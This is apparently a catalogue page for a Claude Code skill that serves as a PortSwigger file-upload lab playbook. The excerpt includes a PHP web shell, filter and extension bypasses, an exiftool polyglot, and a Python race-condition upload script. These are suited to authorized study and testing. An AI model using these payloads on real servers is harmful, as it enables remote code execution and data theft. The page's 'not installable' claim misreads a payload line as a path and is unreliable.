File Upload Vulnerabilities — Deep Dive

File Upload Vulnerabilities — Deep Dive is a skill for Claude Code from akashrpatil/awesome-offensive-security-skills. It costs 27 tokens per session (1,195 once invoked), scanned A, a copy of Access Control — Complete Deep Dive, Apache-2.0.

A PortSwigger Web Security Academy study guide about file-upload vulnerabilities, including lab walkthroughs and example attack payloads.

In plain words
What is it for?
Use it for BSCP certification preparation, bug-bounty practice, and learning to test file-upload behavior in authorized lab environments.
Why use it?
It provides a structured way to study how unsafe upload handling can be abused, including filter bypasses and chains of vulnerabilities.

Skill for Claude Code

Written for Claude Code: shipped in a Claude Code plugin.

Not installable: its command points at a path on the author’s own machine, so it runs nowhere else. The line is /home/carlos/secret.

Part of the cyberskills-elite plugin — 191 skills shipped together

Good fit Use it for BSCP certification preparation, bug-bounty practice, and learning to test file-upload behavior in authorized lab environments.

Compare 6 skills from other repositories ↓
Install

Getting it into your agent

This one installs as part of its plugin. Adding the marketplace and installing the plugin brings it with everything else the plugin ships.

Claude Code
/plugin marketplace add akashrpatil/awesome-offensive-security-skills
Claude Code
/plugin install cyberskills-elite

Made for: Claude Code.

Or install cyberskills-elite, the plugin that ships this one along with the rest of its 191 skills.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for File Upload Vulnerabilities — Deep Dive

README.md
[![agentmods](https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/file-upload/github.svg)](https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/file-upload)
Your own site
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/file-upload"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/file-upload/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for File Upload Vulnerabilities — Deep Dive

Your own site · 80×15
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/file-upload"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/file-upload.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 27 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,195 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 1 finding. A grade says what 26 rules found in the file — not that it is safe.
Origin 78% copy Near-identical to another mod in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00027 $0.01195
Opus 5 $0.00014 $0.00598
Sonnet 5 $0.00005 $0.00239
Haiku 4.5 $0.00003 $0.00120

Measured 11d ago against content hash 2075b1b7e6e7, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-11, from the pricing page.

Security

Grade A, and why

File Upload Vulnerabilities — Deep Dive scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 11d ago.

The scan reads SKILL.md. This mod also ships 1 executable file (scripts/process.py), listed below but not scanned — reading those needs a real analyzer, not pattern matching.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

tools: [burp-suite, curl, sqlmap, ffuf, python, hashcat, ysoserial]
Origin

This is a copy

78% identical to Access Control — Complete Deep Dive — 88 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.

skills/bug-hunting/deep-dive-labs/file-upload/SKILL.md · 139 lines

How it starts

The opening of the file, as written. The whole thing — 139 lines — stays where its author put it; the contents beside it link to each section on GitHub.

File Upload Vulnerabilities — Deep Dive

Deep-Dive Lab Playbook — Every PortSwigger lab variant with exact payloads, bypass techniques, and zero-day extensions. 🟢 Apprentice 🟡 Practitioner 🔴 Expert

When to Use

  • BSCP certification prep
  • Real-world bug bounty hunting
  • Building exploitation chains
  • Understanding bypass techniques

Prerequisites

  • Burp Suite Professional
  • Burp Collaborator / interactsh
  • Browser with proxy configured

Workflow

Phase 1: Reconnaissance

  • Identify input vectors, parameters, and application behavior.

Phase 2: Exploitation

  • Apply standard lab payloads.

Phase 3: Zero-Day Escalation

  • Fuzz filters, bypass WAFs, and chain with other vulns.

Lab Playbooks

Lab 1: RCE via web shell 🟢 APPRENTICE

<?php echo file_get_contents('/home/carlos/secret'); ?>

Upload as shell.php, access at /files/avatars/shell.php.

Lab 2: Content-Type bypass 🟢 APPRENTICE

Change Content-Type: application/x-php to Content-Type: image/jpeg in upload request.

Lab 3: Path traversal 🟡 PRACTITIONER

Content-Disposition: form-data; name="avatar"; filename="..%2fshell.php"

Upload to parent directory where PHP execution is enabled.

Lab 4: Extension blacklist bypass 🟡 PRACTITIONER

Try: .php5, .shtml, .phtml, .phar. Or upload .htaccess first:

AddType application/x-httpd-php .l33t

Then upload shell.l33t.

Lab 5: Obfuscated extension 🟡 PRACTITIONER

shell.php%00.jpg (null byte), shell.php. (trailing dot), shell.p." . "hp (broken validators).

Lab 6: Polyglot web shell 🟡 PRACTITIONER

exiftool -Comment="<?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>" photo.jpg -o polyglot.php

Valid JPEG + executable PHP.

Lab 7: Race condition upload 🔴 EXPERT

Upload PHP file → server validates → deletes if invalid. Race: access file BEFORE deletion:

import threading, requests
def upload(): requests.post(URL, files={'avatar': ('shell.php', '<?php echo file_get_contents("/home/carlos/secret"); ?>')})
def read(): r = requests.get(FILE_URL); print(r.text)
for _ in range(100): threading.Thread(target=upload).start(); threading.Thread(target=read).start()

Read the full file on GitHub · 139 lines

Files

What ships with it

1 file beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 11d ago First seen · 139 lines · 27 tokens per session scan A 2075b1b7e6e7

Subscribe to this mod's changes

File Upload Vulnerabilities — Deep Dive is a skill published in the GitHub repository akashrpatil/awesome-offensive-security-skills (4 stars, last pushed 4mo ago), licensed Apache-2.0. It adds 27 tokens to every session and 1,195 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). It is 78% identical to Access Control — Complete Deep Dive, differing in 88 lines, and is treated as a copy.